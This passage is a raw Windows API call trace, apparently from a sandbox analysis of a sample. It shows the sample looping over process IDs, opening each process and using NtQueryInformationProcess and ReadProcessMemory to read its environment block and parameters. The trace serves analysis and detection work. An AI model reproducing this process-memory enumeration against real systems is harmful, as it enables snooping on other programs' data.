_BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.198] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x270) returned 0x26c [0166.198] GetLastError () returned 0x0 [0166.198] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.198] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4bd4bbe018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.198] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.199] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x218a64033e0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.199] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x218a6403048, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.200] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.201] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.201] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4bd4bbe020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.202] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x218a6402a30, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.202] malloc (_Size=0x5e) returned 0x196ef0d0530 [0166.202] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x218a6403088, lpBuffer=0x196ef0d0530, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0530*, lpNumberOfBytesRead=0x0) returned 1 [0166.202] free (_Block=0x196ef0d0530) [0166.203] CloseHandle (hObject=0x26c) returned 1 [0166.204] _ui64tow_s (in: _Value=0x290, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="656") returned 0x0 [0166.208] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="656") returned 3 [0166.209] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.209] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.226] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x290) returned 0x26c [0166.226] GetLastError () returned 0x0 [0166.226] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.226] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xeb3c623018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.226] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.226] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x22b56103450, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.227] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x22b561030c8, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.228] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.229] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.229] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xeb3c623020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.229] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x22b56102ab0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.230] malloc (_Size=0x54) returned 0x196ef0d5780 [0166.230] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x22b56103108, lpBuffer=0x196ef0d5780, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d5780*, lpNumberOfBytesRead=0x0) returned 1 [0166.230] free (_Block=0x196ef0d5780) [0166.231] CloseHandle (hObject=0x26c) returned 1 [0166.231] _ui64tow_s (in: _Value=0x328, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="808") returned 0x0 [0166.235] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="808") returned 3 [0166.237] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.237] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.253] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x328) returned 0x26c [0166.253] GetLastError () returned 0x0 [0166.253] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.253] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x68a768d018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.253] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.253] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x20fc12119f0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.254] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x20fc12116e8, lpBuffer=0x670ffc3f0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.255] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.256] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.256] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x68a768d020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.256] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x20fc12110d0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.256] malloc (_Size=0x16) returned 0x196ef0d2060 [0166.256] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x20fc1211720, lpBuffer=0x196ef0d2060, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2060*, lpNumberOfBytesRead=0x0) returned 1 [0166.257] free (_Block=0x196ef0d2060) [0166.257] CloseHandle (hObject=0x26c) returned 1 [0166.258] _ui64tow_s (in: _Value=0x358, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="856") returned 0x0 [0166.262] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="856") returned 3 [0166.263] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.263] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.282] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x358) returned 0x26c [0166.282] GetLastError () returned 0x0 [0166.282] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.282] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xe58887a018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.283] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.283] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x28611e033e0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.283] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x28611e03048, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.284] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.285] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.285] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xe58887a020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.285] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x28611e02a30, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.286] malloc (_Size=0x58) returned 0x196ef0d5ba0 [0166.286] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x28611e03088, lpBuffer=0x196ef0d5ba0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d5ba0*, lpNumberOfBytesRead=0x0) returned 1 [0166.286] free (_Block=0x196ef0d5ba0) [0166.287] CloseHandle (hObject=0x26c) returned 1 [0166.288] _ui64tow_s (in: _Value=0x368, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="872") returned 0x0 [0166.293] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="872") returned 3 [0166.295] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.295] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.312] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x368) returned 0x26c [0166.312] GetLastError () returned 0x0 [0166.312] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.312] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xb23a8e3018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.312] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.312] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x25329703480, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.313] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x253297030d8, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.313] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.315] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.315] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xb23a8e3020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.315] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x25329702ac0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.315] malloc (_Size=0x74) returned 0x196ef0d2120 [0166.315] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x25329703118, lpBuffer=0x196ef0d2120, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0166.316] free (_Block=0x196ef0d2120) [0166.316] CloseHandle (hObject=0x26c) returned 1 [0166.317] _ui64tow_s (in: _Value=0x38c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="908") returned 0x0 [0166.324] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="908") returned 3 [0166.325] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.325] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.345] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x38c) returned 0x26c [0166.345] GetLastError () returned 0x0 [0166.345] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.345] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x849e247018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.345] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.345] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1a5e3103490, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.345] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1a5e31030d8, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.346] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.347] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.348] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x849e247020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.348] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1a5e3102ac0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.348] malloc (_Size=0x84) returned 0x196ef0d31b0 [0166.348] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1a5e3103118, lpBuffer=0x196ef0d31b0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.349] free (_Block=0x196ef0d31b0) [0166.349] CloseHandle (hObject=0x26c) returned 1 [0166.350] _ui64tow_s (in: _Value=0x39c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="924") returned 0x0 [0166.355] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="924") returned 3 [0166.357] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.357] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.375] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x39c) returned 0x26c [0166.375] GetLastError () returned 0x0 [0166.375] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.375] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xd3ae96018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.375] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.375] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1e9d3f03490, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.375] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1e9d3f030d8, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.376] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.378] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.378] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xd3ae96020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.378] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1e9d3f02ac0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.378] malloc (_Size=0x86) returned 0x196ef0d31b0 [0166.378] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1e9d3f03118, lpBuffer=0x196ef0d31b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.379] free (_Block=0x196ef0d31b0) [0166.379] CloseHandle (hObject=0x26c) returned 1 [0166.380] _ui64tow_s (in: _Value=0x3fc, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1020") returned 0x0 [0166.385] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="1020") returned 4 [0166.386] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.386] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.407] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3fc) returned 0x26c [0166.407] GetLastError () returned 0x0 [0166.408] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.408] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x71b3034018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.408] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.408] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x26426003470, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.408] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x264260030d8, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.409] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.411] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.411] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x71b3034020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.411] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x26426002ac0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.411] malloc (_Size=0x62) returned 0x196ef0d03e0 [0166.411] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x26426003118, lpBuffer=0x196ef0d03e0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0166.412] free (_Block=0x196ef0d03e0) [0166.413] CloseHandle (hObject=0x26c) returned 1 [0166.414] _ui64tow_s (in: 